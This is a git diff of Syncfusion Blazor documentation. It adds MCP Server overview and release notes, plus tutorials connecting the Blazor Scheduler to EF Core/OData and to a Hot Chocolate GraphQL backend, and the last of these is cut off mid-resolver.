+2. **Choose your mode** - `#sf_blazor_ui_builder` for complete UIs or `#sf_blazor_assistant` for component-specific tasks.
+3. **Describe** what you want to build - the AI generates production-ready code that follows best practices.
+
+For detailed setup instructions, see the [Installation Guide](installation).
+
+## Available Tools
+
+Syncfusion MCP Server includes five specialized tools that work together to streamline your development workflow:
+
+* **UI Builder Orchestrator** - Analyzes requirements and coordinates multiple tools to build complete UIs
+* **Layout Tool** - Provides pre-built, responsive UI blocks (headers, footers, sidebars, dashboards, forms)
+* **Component Tool** - Delivers API and implementation guidance for Syncfusion Blazor components
+* **Styling Tool** - Generates theme configurations for Tailwind CSS, Bootstrap, Material, and Fluent with light/dark mode support, and also provides a comprehensive icon library with component‑level integration patterns and accessibility guidance.
+* **Coding Assistant Tool** - Provides contextual component documentation, code snippets, and configuration examples for individual Syncfusion Blazor components
+
+## Unlimited Access
+
+Syncfusion provides unlimited access to the MCP Server with no restrictions on:
+
+* Number of requests
+* Tool usage
+* Query caps
+* Usage duration
+
+This unlimited access empowers you to experiment freely, iterate rapidly, and fully leverage the tool's capabilities throughout your development lifecycle.
+
+## Best Practices
+
+For optimal results, use high-performance AI models like **Claude Sonnet 4.5** (recommended), GPT-5, or Gemini 3 Pro. These models understand complex component relationships better and generate more accurate Blazor code.
+
+> Always review AI-generated code before using it in production.
+
+## Privacy & Security
+
+The Syncfusion MCP Server are designed with privacy considerations:
+
+* The tools do not access project files or workspace contents directly.
+* User prompts are not stored or used for other purposes.
+* Prompts are not used to train Syncfusion models.
+* The assistant provides context; the final output is produced by the selected AI model.
+
+The MCP Server acts purely as a knowledge bridge, connecting your AI model with Syncfusion-specific expertise while respecting your privacy and maintaining security.
+
+## See also
+
+* [AI Tools - Installation](./installation)
+* [Agentic UI Builder - Getting Started](./agentic-ui-builder/getting-started)
+* [AI Coding Assistant - Getting Started](./ai-coding-assistant/getting-started)
+* [Model Context Protocol](https://modelcontextprotocol.io/docs/getting-started/intro)
diff --git a/blazor/mcp-server/release-notes.md b/blazor/mcp-server/release-notes.md
new file mode 100644
index 0000000000..618f0de4fd
--- /dev/null
+++ b/blazor/mcp-server/release-notes.md
@@ -0,0 +1,39 @@
+# Syncfusion Blazor MCP Server Release Notes
+
+This document provides information about the changes and new features included in each version of the [@syncfusion/blazor-assistant](https://www.npmjs.com/package/@syncfusion/blazor-assistant) MCP server package.
+
+## (v2.0.0) – February 23, 2026
+
+### Features
+
+- Introduced **Agentic UI Builder** — a composite MCP tool that analyzes your UI requirements and coordinates specialized tools (Layout, Component, and Styling) to generate complete Blazor applications using natural language prompts, significantly boosting your productivity and accelerating development workflow.
+- Agentic UI Builder sub-tools:
+  - **Layout Tool** (#sf_blazor_layout) — Generates responsive UI blocks, grids, dashboards, and pre-built patterns.
+  - **Component Tool** (#sf_blazor_component) — Provides full metadata, APIs, props, events, and configuration for 145+ Syncfusion Blazor components.
+  - **Styling Tool** (#sf_blazor_style) — Applies theme configurations (Tailwind3 CSS, Bootstrap 5.3, Material 3, Fluent 2), dark mode, color customization, and icon integration.
+- Unlimited, unrestricted access with strict privacy (no project file access, no prompt storage or training).
+
+### Breaking Changes
+
+- Renamed the coding assistant tool identifier from **`SyncfusionBlazorAssistant`** to **`sf_blazor_assistant`** for consistency, brevity, and improved user experience.
+
+## (v1.0.1) – February 10, 2026
+
+### Features
+
+- Updated package dependencies to resolve security vulnerabilities and enhance stability.
+
+## (v1.0.0) – December 16, 2025
+
+### Features
+
+- Added support for API key validation through file path reference.
+- Updated package dependencies and security standards for improved reliability and safety.
+
+## (v0.1.0) – October 10, 2025
+
+### Features
+
+- Initial release of AI Coding Assistant for Syncfusion Blazor components.
+- Provides context-aware assistance for building Blazor applications with Syncfusion components.
+- Includes support for component APIs, properties, and troubleshooting guidance.
diff --git a/blazor/scheduler/entity-framework.md b/blazor/scheduler/entity-framework.md
new file mode 100644
index 0000000000..38f1b92c2b
--- /dev/null
+++ b/blazor/scheduler/entity-framework.md
@@ -0,0 +1,471 @@
+---
+layout: post
+title: Blazor Scheduler with Entity Framework Core | Syncfusion
+description: This documentation offers a step‑by‑step guide to building a Syncfusion Blazor Scheduler integrated with Entity Framework Core for managing scheduling data.
+platform: Blazor
+control: Scheduler
+documentation: ug
+---
+
+# Syncfusion Blazor Scheduler Integration with OData v4 and EF Core
+
+This [Syncfusion<sup style="font-size:70%">&reg;</sup>  Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-scheduler) enables users to seamlessly manage and synchronize event data between the **Scheduler** and an **Entity Framework** Core–backed [**OData v4**](https://www.odata.org/documentation/) service. The Scheduler retrieves existing appointments from the OData API and displays them in an interactive, user-friendly calendar interface.
+
+## Prerequisites
+
+- **.NET SDK** (>=8) Verify with:
+    ```bash
+    dotnet --version
+    ```
+- **SQL Server** or LocalDB available. The guide uses LocalDB connection by default.
+- A code editor (Visual Studio / VS Code).
+
+## Creating new project
+
+### Step 1: Create a Blazor Web App using Visual Studio
+
+1. Open Visual Studio
+2. Click **Create a new project**
+3. Search for **Blazor Web App** template
+4. Configure project name as **SfSchedulerApp**
+5. Select **.NET 8.0 or Compatible** as the target framework
+6. Set **Interactive render mode** to **Server**
+7. Set **Interactivity location** to **Per page/component**
+8. Click **Create**
+
+> Configure the Interactive render mode to **InteractiveServer** during project creation as the Scheduler requires interactivity for CRUD operations.
+
+### Step 2: Install Required NuGet Packages and Configure Blazor Scheduler Component using Entity Framework Core
+
+Before installing the necessary NuGet packages, a new Blazor Web Application must be created using the default template. This template automatically generates essential starter files—such as `Program.cs`, `appsettings.json`, the `wwwroot` folder, and the `Components` folder.
+
+For this guide, a Blazor application named **SfSchedulerApp** has been created. Once the project is set up, the next step involves installing the required NuGet packages. NuGet packages are software libraries that add functionality to the application. These packages enable Entity Framework Core.
+
+To add the **Blazor Scheduler** component with using Entity Framework Core in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Schedule](https://www.nuget.org/packages/Syncfusion.Blazor.Schedule), [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/), [Microsoft.AspNetCore.OData](https://www.nuget.org/packages/Microsoft.AspNetCore.OData), and [Microsoft.EntityFrameworkCore.Design](https://www.nuget.org/packages/Microsoft.EntityFrameworkCore.Design/).
+
+#### Project File Reference
+
+The installed packages are reflected in the `BlazorSchedulerApp.csproj` file:
+
+```xml
+<ItemGroup>
+    <PackageReference Include="Microsoft.AspNetCore.OData" Version="9.4.1" />
+    <PackageReference Include="Microsoft.EntityFrameworkCore.Design" Version="10.0.4">
+      <IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets>
+      <PrivateAssets>all</PrivateAssets>
+    </PackageReference>
+    <PackageReference Include="Syncfusion.Blazor.Schedule" Version="*" />
+    <PackageReference Include="Syncfusion.Blazor.Themes" Version="*" />
+```
+
+All required packages are now installed.
+
+> **Note**: After installing packages, build the project to ensure all dependencies are restored correctly: `dotnet build`
+
+## Including Syncfusion Scheduler Namespaces
+To use the **Syncfusion Scheduler** in your Blazor pages, **import** the necessary namespaces.
+```razor
+@using Syncfusion.Blazor
+@using Syncfusion.Blazor.Schedule
+```
+
+## Add the Styles
+Apply **Syncfusion’s built‑in theme** to the **Scheduler**, include the theme stylesheet
+
+Add the styles in the `<head>` section of `app.razor` file
+```razor
+<link rel="stylesheet" href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" />
+```
+
+## Add the Script
+**Syncfusion Blazor components** require a **JavaScript file** to enable component interactions.
+
+Add the **script** in the `<body>` section of `app.razor` file
+```razor
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js"
+            type="text/javascript"></script>
+```
+
+## Make the application interactive
+Enable **interactive server‑side rendering** for your **Blazor Web App**
+
+Add this line in the `<body>` section of `app.razor` file to make the application **interactive**
+```razor
+<Routes @rendermode="InteractiveServer" />
+```
+
+## Setting Up Syncfusion Blazor in the App Pipeline
+Register the **Syncfusion Blazor services** in `Program.cs` so **Scheduler components** can render and work properly.
+```csharp
+using Syncfusion.Blazor;
+builder.Services.AddSyncfusionBlazor();
+```
+
+### Building the Scheduler page
+
+This page renders the **Syncfusion Blazor Scheduler** and binds it to event data retrieved from your **OData endpoint**
+
+```razor
+@page "/"
+@using RestfulServices.Models
+@using Syncfusion.Blazor
+@using Syncfusion.Blazor.Schedule
+@using Syncfusion.Blazor.Data
+@using System.Net.Http.Json
+@inject HttpClient Http
+
+@if (EventsLoaded)
+{
+    <SfSchedule TValue="EventData" Height="650px" SelectedDate="@(new DateTime(2026, 01, 5))">
+        <ScheduleEventSettings TValue="EventData"
+                               DataSource="@Events" >
+        </ScheduleEventSettings>
+    </SfSchedule>
+}
+else
+{
+    <div>Loading events...</div>
+}
+@code {
+    private IEnumerable<EventData> Events = new List<EventData>();
+    private bool EventsLoaded = false;
+    public Query QueryData = new Query().From("Events");
+
+    protected override async Task OnInitializedAsync()
+    {
+        try
+        {
+            var odataResponse = await Http.GetFromJsonAsync<ODataListResponse<EventData>>(
+                "https://localhost:5001/odata/Events");
+
+            Events = odataResponse?.Value ?? new List<EventData>();
+        }
+        catch
+        {
+            Events = new List<EventData>();
+        }
+        finally
+        {
+            EventsLoaded = true;
+        }
+    }
+    public class ODataListResponse<T>
+    {
+        public List<T> Value { get; set; } = new();
+    }
+}
+```
+
+## Mapping the Models to Scheduler’s fields
+Create a folder `Models` and `EventData` class that matches Syncfusion required fields so the Scheduler can automatically bind and interpret your event data.
+```csharp
+namespace RestfulServices.Models
+{
+    public class EventData
+    {
+        public int Id { get; set; }
+        public string? Subject { get; set; }
+        public string? Location { get; set; }
+        public DateTime? StartTime { get; set; }
+        public DateTime? EndTime { get; set; }
+        public string? StartTimezone { get; set; }
+        public string? EndTimezone { get; set; }
+        public bool? IsAllDay { get; set; }
+        public bool? IsBlock { get; set; }
+        public bool? IsReadOnly { get; set; }
+        public int? FollowingID { get; set; }
+        public string? RecurrenceRule { get; set; }
+        public int? RecurrenceID { get; set; }
+        public string? RecurrenceException { get; set; }
+        public string? Description { get; set; }
+    }
+}
+```
+
+## Configuring the Entity Framework Core Data Context for Scheduler Events
+
+To store and manage **Scheduler events** using **Entity Framework Core**, create a **database context** in the `Models/SchedulerDataContext` file that represents your data layer.
+
+This context exposes a **DbSet** collection, which EF Core will map to a database table.
+```csharp
+
+namespace RestfulServices.Models
+{
+    public class ScheduleDataContext : DbContext
+    {
+
+        public ScheduleDataContext(DbContextOptions<ScheduleDataContext> options)
+            : base(options)
+        {
+        }
+
+        public DbSet<EventData> EventsData { get; set; }
+
+        protected override void OnModelCreating(ModelBuilder modelBuilder)
+        {
+
+        }
+
+    }
+}
+```
+
+## Creating an In‑Memory Data Source for Scheduler Events
+
+The DataSource class provides a simple in‑memory collection of event records and adding some default events in `Models/DataSource.cs` file
+```csharp
+namespace RestfulServices.Models
+{
+    public static class DataSource
+    {
+        private static IList<EventData>? _eventsData { get; set; }
+
+        public static IList<EventData> GetEvents()
+        {
+            if (_eventsData != null)
+            {
+                return _eventsData;
+            }
+
+            _eventsData = new List<EventData>();
+
+            EventData related = new EventData
+            {
+                Id = 1,
+                Subject = "Explosion of Betelgeuse Star",
+                Location = "Space Centre USA",
+                StartTime = new DateTime(2026, 1, 5, 9, 30, 0),
+                EndTime = new DateTime(2026, 1, 5, 11, 0, 0)
+            };
+            _eventsData.Add(related);
+
+            EventData events = new EventData
+            {
+                Id = 2,
+                Subject = "Thule Air Crash Report",
+                Location = "Newyork City",
+                StartTime = new DateTime(2026, 1, 6, 12, 0, 0),
+                EndTime = new DateTime(2026, 1, 6, 14, 0, 0)
+            };
+            _eventsData.Add(events);
+
+            events = new EventData
+            {
+                Id = 3,
+                Subject = "Blue Moon Eclipse",
+                Location = "Space Centre USA",
+                StartTime = new DateTime(2026, 1, 7, 9, 30, 0),
+                EndTime = new DateTime(2026, 1, 7, 11, 0, 0)
+            };
+            _eventsData.Add(events);
+
+            events = new EventData
+            {
+                Id = 4,
+                Subject = "Meteor Showers in 2018",
+                Location = "Space Centre USA",
+                StartTime = new DateTime(2026, 1, 8, 13, 0, 0),
+                EndTime = new DateTime(2026, 1, 8, 14, 30, 0)
+            };
+            _eventsData.Add(events);
+
+            events = new EventData
+            {
+                Id = 5,
+                Subject = "Milky Way as Melting pot",
+                Location = "Space Centre USA",
+                StartTime = new DateTime(2026, 1, 9, 12, 0, 0),
+                EndTime = new DateTime(2026, 1, 9, 14, 0, 0)
+            };
+            _eventsData.Add(events);
+
+            events = new EventData
+            {
+                Id = 6,
+                Subject = "Mysteries of Bermuda Triangle",
+                Location = "Bermuda",
+                StartTime = new DateTime(2026, 1, 9, 9, 30, 0),
+                EndTime = new DateTime(2026, 1, 9, 11, 0, 0)
+            };
+            _eventsData.Add(events);
+
+            events = new EventData
+            {
+                Id = 7,
+                Subject = "Glaciers and Snowflakes",
+                Location = "Himalayas",
+                StartTime = new DateTime(2026, 1, 10, 11, 0, 0),
+                EndTime = new DateTime(2026, 1, 10, 12, 30, 0)
+            };
+            _eventsData.Add(events);
+
+            events = new EventData
+            {
+                Id = 8,
+                Subject = "Life on Mars",
+                Location = "Space Centre USA",
+                StartTime = new DateTime(2026, 1, 11, 9, 0, 0),
+                EndTime = new DateTime(2026, 1, 11, 10, 0, 0)
+            };
+            _eventsData.Add(events);
+
+            events = new EventData
+            {
+                Id = 9,
+                Subject = "Alien Civilization",
+                Location = "Space Centre USA",
+                StartTime = new DateTime(2026, 1, 13, 11, 0, 0),
+                EndTime = new DateTime(2026, 1, 13, 13, 0, 0)
+            };
+            _eventsData.Add(events);
+
+            return _eventsData;
+        }
+    }
+}
+```
+
+##  Exposing CRUD Endpoints for Scheduler Events
+Create a `Controllers/EventController.cs` file which is  responsible for handling **CRUD operations** on **Scheduler events**
+
+### Seed Data Into Database
+The constructor receives the EF Core database context and initializes the controller
+```csharp
+using Microsoft.AspNetCore.Mvc;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading.Tasks;
+using RestfulServices.Models;
+using Microsoft.AspNetCore.OData;
+using Microsoft.AspNetCore.OData.Routing.Controllers;
+using Microsoft.AspNetCore.OData.Query;
+using Microsoft.AspNetCore.OData.Formatter;
+
+namespace RestfulServices.Controllers
+{
+    //[Route("api/")]
+    //[ApiController]
+    public class EventsController : ODataController
+    {
+        private ScheduleDataContext _db;
+        // GET: api/<EventsController>
+        public EventsController(ScheduleDataContext context)
+        {
+            _db = context;
+            if (context.EventsData.Count() == 0)
+            {
+                foreach (var b in DataSource.GetEvents())
+                {
+                    context.EventsData.Add(b);
+                }
+                context.SaveChanges();
+            }
+
+        }
+    }
+}
+```
+
+### GET Retrieve All Events
+To **Return** all event records stored use this in the **EventsController class**
+
+```csharp
+[HttpGet]
+[EnableQuery]
+public IActionResult Get()
+{
+    return Ok(_db.EventsData);
+}
+```
+[EnableQuery] allows Syncfusion’s OData adaptor to apply filtering, sorting, and paging automatically
+
+### POST Create a New Event
+To **Add** a **new event** to the database use this in the **EventsController class**
+
+```csharp
+public async Task Post([FromBody] EventData events)
+{
+    _db.EventsData.Add(events);
+    await _db.SaveChangesAsync();
+}
+```
+This method is called when a user creates a new appointment in the Syncfusion Scheduler
+
+### PUT Update an Existing Event
+To **Replace** an **existing event** with the updated values use this in the **EventsController class**
+
+```csharp
+public async Task Put([FromODataUri] int key, [FromBody] EventData events)
+{
+    var entity = await _db.EventsData.FindAsync(events.Id);
+    if (entity != null)
+    {
+        _db.Entry(entity).CurrentValues.SetValues(events);
+        await _db.SaveChangesAsync();
+    }
+}
+```
+This method is typically used when the Scheduler sends a full update request for edits
+
+### PATCH Partially Update an Event
+To **Update** only specific fields of an event use this in the **EventsController class**
+
+```csharp
+public async Task Patch([FromODataUri] int key, [FromBody] EventData events)
+{
+    var entity = await _db.EventsData.FindAsync(key);
+    //events.Patch(entity);
+    if (entity != null)
+    {
+        _db.Entry(entity).CurrentValues.SetValues(events);
+        await _db.SaveChangesAsync();
+    }
+}
+```
+The Scheduler may call this when only certain properties **like time change** are modified
+
+### DELETE Remove an Event
+To **Delete** an event from the database use this in the EventsController class
+
+```csharp
+public async Task Delete([FromODataUri] int key)
+{
+    var od = _db.EventsData.Find(key);
+    if (od != null)
+    {
+        _db.EventsData.Remove(od);
+        await _db.SaveChangesAsync();
+    }
+}
+```
+This method is triggered when a user removes an appointment from the Scheduler
+
+## 13 Running the application
+
+```bash
+dotnet build
+dotnet run
+```
+
+Open the app in your browser on the port shown in the console
+
+## Output
+![Blazor Entity Framework Output](images/blazor-scheduler-EF-Output.png)
+
+> For additional help, see the [Blazor Entity Framework sample on GitHub](https://github.com/SyncfusionExamples/blazor-scheduler-crud-using-restful-service)
+
+## TroubleShooting
+### Problem
+The Scheduler does not load correctly, or interactive features (drag, drop, resize, edit popup, etc.) do not work.
+
+### Errors
+- SfSchedule is not a function
+- Scheduler renders but is not interactive
+
+### Solution
+Add the Syncfusion script reference inside the <body> of `App.razor`
+```razor
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js"
+            type="text/javascript"></script>
+```
\ No newline at end of file
diff --git a/blazor/scheduler/graphql-adptor.md b/blazor/scheduler/graphql-adptor.md
new file mode 100644
index 0000000000..66385bf8d9
--- /dev/null
+++ b/blazor/scheduler/graphql-adptor.md
@@ -0,0 +1,1052 @@
+---
+layout: post
+title: Blazor Scheduler with GraphQL using Hot Chocolate | Syncfusion
+description: Connect Syncfusion’s Blazor Scheduler to a Hot Chocolate GraphQL backend for optimized CRUD, typed queries, and a responsive, scalable .NET application.
+control: Scheduler
+platform: blazor
+documentation: ug
+---
+
+# Connect Syncfusion Blazor Scheduler with GraphQL using Hot Chocolate
+
+GraphQL is a query language that allows applications to request exactly the data needed, nothing more and nothing less. Unlike traditional REST APIs that return fixed data structures, GraphQL enables the client to specify the shape and content of the response.
+
+**Traditional REST APIs** and **GraphQL** differ mainly in how data is requested and returned: **REST APIs expose** multiple endpoints that return fixed data structures, often including unnecessary fields and requiring several requests to fetch related data, while **GraphQL** uses a single endpoint where queries define the exact fields needed, enabling precise responses and allowing related data to be retrieved efficiently in one request. This makes **GraphQL** especially useful for **Blazor Scheduler integration**, the **reason** is data‑centric UI components require well‑structured and selective datasets to support efficient operations, reduce network calls, and improve overall performance.
+
+**Key GraphQL Concepts**
+
+- **Queries**: A query is a request to read data. Queries do not modify data; they only retrieve it.
+- **Mutations**: A mutation is a request to modify data. Mutations create, update, or delete records.
+- **Resolvers**: Each query or mutation is handled by a resolver, which is a function responsible for fetching data or executing an operation. **Query resolvers** handle **read operations**, while **mutation resolvers** handle **write operations**.
+- **Schema**: Defines the structure of the API. The schema describes available data types, the fields within those types, and the operations that can be executed. Query definitions specify how data can be retrieved, and mutation definitions specify how data can be modified. 
+
+[Hot Chocolate](https://chillicream.com/docs/hotchocolate/v15) is an open‑source GraphQL server framework for .NET. Hot Chocolate enables the creation of GraphQL APIs using ASP.NET Core and integrates seamlessly with modern .NET applications, including Blazor.
+
+## Prerequisites
+
+Install the following software and packages before starting the process:
+
+| Software/Package | Version | Purpose |
+|-----------------|---------|---------|
+| Visual Studio 2026 | 18.0 or later | Development IDE with Blazor workload |
+| .NET SDK | net10.0 or compatible | Runtime and build tools |
+| HotChocolate.AspNetCore | 15.1.12 or later | GraphQL server framework |
+| Syncfusion.Blazor.Schedule | Latest Version | Scheduler component |
+| Syncfusion.Blazor.Themes | Latest Version | Styling for Scheduler |
+
+## Setting Up the GraphQL Backend
+
+### Step 1: Create a New ASP.NET Core Empty Project as the GraphQL Server
+
+Create a **Blazor Web App** using Visual Studio 2026 or .NET CLI.
+
+**Using Visual Studio 2026 or later:**
+
+1. Open **Visual Studio 2026** (or newer).
+2. Go to **File → New → Project**.
+3. Search for and select **ASP.NET Core Empty** (C#).
+4. Name the project (example: `GraphQLServer`).
+5. Select **.NET 10.0** as the target framework
+6. Click **Create**
+
+**Using .NET CLI:**
+```bash
+dotnet new web -o GraphQLServer
+cd GraphQLServer
+```
+
+This creates a minimal ASP.NET Core app with just `Program.cs`.
+
+### Step 2: Install the Required NuGet Package using .NET CLI
+
+1. Open a terminal in the project directory and run:
+
+    ```bash
+    dotnet add package HotChocolate.AspNetCore --version 15.1.12
+    ```
+
+### Step 3: Configuring the GraphQL server app
+
+1. Create GraphQLQuery and GraphQLMutation classes to define the GraphQL resolver and mutation methods, respectively.
+2. Implement the following configuration code to set up GraphQL query and mutation types and enable CORS.
+
+    [program.cs]
+    ```csharp
+    var builder = WebApplication.CreateBuilder(args); 
+
+    builder.Services.AddGraphQLServer()
+        .AddQueryType<GraphQLQuery>()
+        .AddMutationType<GraphQLMutation>(); 
+
+    builder.Services.AddCors(options => 
+    { 
+       options.AddPolicy("AllowSpecificOrigin", builder => 
+       {
+           builder.WithOrigins("http://localhost:5194") // 5194 represents Blazor app port no
+           .AllowAnyHeader() 
+            .AllowAnyMethod() 
+            .AllowCredentials().Build(); 
+        });
+    });
+    var app = builder.Build(); 
+
+    app.UseCors("AllowSpecificOrigin");
+
+    app.UseRouting();
+
+    app.MapGraphQL();
+
+    app.Run();
+    ```
+    
+### Step 4: Create a Data Source for Appointments and define resolver
+
+The following code creates a simple in-memory data source with a list of `Appointment` objects in the `GraphQLQuery` class and define the return type to bind data to the Blazor Scheduler, the resolver must return data using the `ReturnType<T>` class with `Count`, `Result`, and `Aggregates` properties.  
+This data will be used to populate the Blazor Scheduler.
+
+[`GraphQLQuery.cs`]
+
+```csharp
+public class GraphQLQuery
+{
+    public static List<Appointment> Appointments { get; set; } = GetAppointmentsList();
+
+    private static List<Appointment> GetAppointmentsList()
+    {
+        var data = new List<Appointment>();
+
+        // IST offset (UTC+5:30)
+        var istOffset = TimeSpan.FromHours(5.5);
+
+        data.Add(new Appointment()
+        {
+            Id = 1,
+            Subject = "Testing",
+            StartTime = new DateTime(2026, 2, 10, 9, 30, 0) - istOffset,
+            EndTime = new DateTime(2026, 2, 10, 10, 30, 0) - istOffset
+        });
+
+        data.Add(new Appointment()
+        {
+            Id = 2,
+            Subject = "Conference",
+            StartTime = new DateTime(2026, 2, 11, 10, 30, 0) - istOffset,
+            EndTime = new DateTime(2026, 2, 11, 12, 0, 0) - istOffset
+        });
+
+        data.Add(new Appointment()
+        {
+            Id = 3,
+            Subject = "Meeting",
+            StartTime = new DateTime(2026, 2, 12, 9, 30, 0) - istOffset,
+            EndTime = new DateTime(2026, 2, 12, 11, 30, 0) - istOffset
+        });
+
+        data.Add(new Appointment()
+        {
+            Id = 4,
+            Subject = "Vacation",
+            StartTime = new DateTime(2026, 2, 14, 11, 30, 0) - istOffset,
+            EndTime = new DateTime(2026, 2, 14, 13, 0, 0) - istOffset
+        });
+
+        return data;
+    }
+    public ReturnType<Appointment> AppointmentsData(DataManagerRequest dataManager)
+    {
+        IEnumerable<Appointment> result = Appointments;
+        int count = result.Count();
+        return dataManager.RequiresCounts ? new ReturnType<Appointment>() { Result = result, Count = count } : new ReturnType<Appointment>() { Result = result };
+    }
+}
+```
+**Explanation**
+
+- Appointments is a static list that holds all appointment records.
+- GetAppointmentsList() creates sample data with 4 appointments in February 2026.
+- Dates are adjusted to IST (Indian Standard Time) by subtracting the 5.5-hour offset from UTC.
+- This in-memory list serves as your data source — later you can replace it with a database or external service.
+- The Scheduler will read from this list via the GraphQL query resolver.
+
+### Step 5: Return data with required format
+To bind data to the Blazor Scheduler component, the resolver function must return the data in a specific structure using the `ReturnType<T>` class.This class tells the Scheduler how many appointments exist (`Count`) and which appointments to show (`Result`).
+
+[ReturnType.cs]
+```csharp
+public class ReturnType<T>	
+{
+    public int Count { get; set; }
+    public IEnumerable<T> Result { get; set; }
+}
+```
+**Why this format is required**
+
+- Count - Tells the Scheduler how many appointments match the current view/date range.
+- Result - The actual list of appointments the Scheduler will show as events on the calendar.
+
+### Step 6: Create resolver function argument classes
+The GraphQL query will be passed from the Scheduler with the dataManager property. So, to accept this parameter in the resolver function, we have to create the DataManagerRequest class, and the necessary classes required for the DataManagerRequest properties.
+
+Refer to the following code examples.
+
+[DataManagerRequest.cs]
+
+DataManagerRequest class
+
+```csharp
+public class DataManagerRequest {
+ [GraphQLName("Skip")] 
+  public int Skip { get; set; }
+  
+  [GraphQLName("Take")] 
+  public int Take { get; set; } 
+  
+  [GraphQLName("RequiresCounts")]
+  public bool RequiresCounts { get; set; } = false; 
+  
+  [GraphQLName("Params")] 
+  [GraphQLType(typeof(AnyType))] 
+  public IDictionary<string, object> Params { get; set; } 
+     
+  [GraphQLName("Distinct")]
+  public List<string>? Distinct { get; set; }
+  
+  [GraphQLName("ServerSideGroup")]
+  public bool? ServerSideGroup { get; set; }
+  
+  [GraphQLName("LazyLoad")]
+  public bool? LazyLoad { get; set; }
+  
+  [GraphQLName("LazyExpandAllGroup")]
+  public bool? LazyExpandAllGroup { get; set; }
+}
+```
+
+Appointment class
+
+```csharp
+public class Appointment
+{
+    [GraphQLName("Id")]
+    public int Id { get; set; }
+    
+    [GraphQLName("Subject")]
+    public string Subject { get; set; }
+    
+    [GraphQLName("Location")]
+    public string? Location { get; set; }
+    
+    [GraphQLName("StartTime")]
+    public DateTime StartTime { get; set; }
+
+    [GraphQLName("EndTime")]
+    public DateTime EndTime { get; set; }
+
+    [GraphQLName("Description")]
+    public string? Description { get; set; }
+    
+    [GraphQLName("IsAllDay")]
+    public bool? IsAllDay { get; set; }
+
+    [GraphQLName("RecurrenceRule")]
+    public string? RecurrenceRule { get; set; }        
+
+    [GraphQLName("RecurrenceException")]
+    public string? RecurrenceException { get; set; }    
+
+    [GraphQLName("RecurrenceID")]
+    public int? RecurrenceID { get; set; }   
+}
+```
+### Step 7: GraphQL Mutation Resolvers
+
+A **GraphQL mutation resolver** is a method in the backend that handles write requests (data modifications) from the client. While queries only read data, mutations create, update, or delete records. When the Blazor Scheduler performs add, edit, or delete operations, it sends a GraphQL mutation to the server. The mutation resolver receives this request, processes it, and persists the changes to the data source.
+
+In simple terms, a **GraphQL mutation** asks for a change, and a **resolver** is the one who makes it.
+
+[GraphQLMutation.cs]
+
+```csharp
+
+public class GraphQLMutation
+{
+    // CREATE - Insert a new appointment
+    public Appointment CreateAppointment(
+        Appointment appointment,
+        int index,
+        string action,
+        [GraphQLType(typeof(AnyType))] IDictionary<string, object>? additionalParameters)
+    {
+        if (appointment.Id <= 0)
+        {
+            appointment.Id = GraphQLQuery.Appointments
+                .Select(a => a.Id)
+                .DefaultIfEmpty(0)
+                .Max() + 1;
+        }
+        GraphQLQuery.Appointments.Insert(index, appointment);
+        return appointment;
+    }
+
+    // UPDATE - Update existing appointment by Id
+    public Appointment UpdateAppointment(
+        Appointment appointment,
+        string action,
+        string primaryColumnName,
+        int primaryColumnValue,
+        [GraphQLType(typeof(AnyType))] IDictionary<string, object>? additionalParameters)
+    {
+        var existing = GraphQLQuery.Appointments.FirstOrDefault(x => x.Id == primaryColumnValue);
+        if (existing == null) return new Appointment();
+
+        existing.Subject = appointment.Subject;
+        existing.Location = appointment.Location;
+        existing.StartTime = appointment.StartTime;
+        existing.EndTime = appointment.EndTime;
+        existing.Description = appointment.Description;
+        existing.IsAllDay = appointment.IsAllDay;
+        existing.RecurrenceID = appointment.RecurrenceID;
+        existing.RecurrenceRule = appointment.RecurrenceRule ?? existing.RecurrenceRule;
+
+        if (!string.IsNullOrEmpty(existing.RecurrenceRule))
+        {
+            var set = new HashSet<string>(StringComparer.Ordinal);
+            if (!string.IsNullOrWhiteSpace(existing.RecurrenceException))
+                foreach (var t in existing.RecurrenceException.Split(',', StringSplitOptions.RemoveEmptyEntries))
+                    set.Add(t.Trim());
+            if (!string.IsNullOrWhiteSpace(appointment.RecurrenceException))
+                foreach (var t in appointment.RecurrenceException.Split(',', StringSplitOptions.RemoveEmptyEntries))
+                    set.Add(t.Trim());
+
+            existing.RecurrenceException = set.Count == 0 ? null : string.Join(",", set);
+        }
+        else
+        {
+            existing.RecurrenceException = appointment.RecurrenceException;
+        }
+
+        return existing;
+    }
+
+    // DELETE - Remove appointment by Id
+    public Appointment DeleteAppointment(
+        int primaryColumnValue,
+        string action,
+        string primaryColumnName,
+        [GraphQLType(typeof(AnyType))] IDictionary<string, object>? additionalParameters)
+    {
+        var toDelete = GraphQLQuery.Appointments.FirstOrDefault(x => x.Id == primaryColumnValue);
+        if (toDelete != null) GraphQLQuery.Appointments.Remove(toDelete);
+        return toDelete ?? new Appointment();
+    }
+
+    // BATCH - Handle multiple adds, changes, deletes in one call 
+    public List<Appointment> BatchAppointment(
+        List<Appointment>? added,
+        List<Appointment>? changed,
+        List<Appointment>? deleted,
+        string? action = null,
+        string? primaryColumnName = null,
+        [GraphQLType(typeof(AnyType))] IDictionary<string, object>? additionalParameters = null)
+    {
+        var results = new List<Appointment>();
+        added ??= new List<Appointment>();
+        changed ??= new List<Appointment>();
+        deleted ??= new List<Appointment>();
+
+        string? act = action;
+        if (string.IsNullOrWhiteSpace(act) && additionalParameters != null)
+        {
+            if (additionalParameters.TryGetValue("currentAction", out var v1) && v1 is string s1 && !string.IsNullOrWhiteSpace(s1))
+                act = s1;
+            else if (additionalParameters.TryGetValue("requestType", out var v2) && v2 is string s2 && !string.IsNullOrWhiteSpace(s2))
+                act = s2;
+        }
+        bool IsAction(string name) => !string.IsNullOrWhiteSpace(act) && act.Equals(name, StringComparison.OrdinalIgnoreCase);
+
+        bool hasChangedParent = changed.Any(c =>
+            !string.IsNullOrEmpty(c.RecurrenceRule) ||
+            GraphQLQuery.Appointments.Any(p => p.Id == c.Id && !string.IsNullOrEmpty(p.RecurrenceRule)));
+
+        bool hasDeletedEdited = deleted.Any(d => d.RecurrenceID.HasValue);
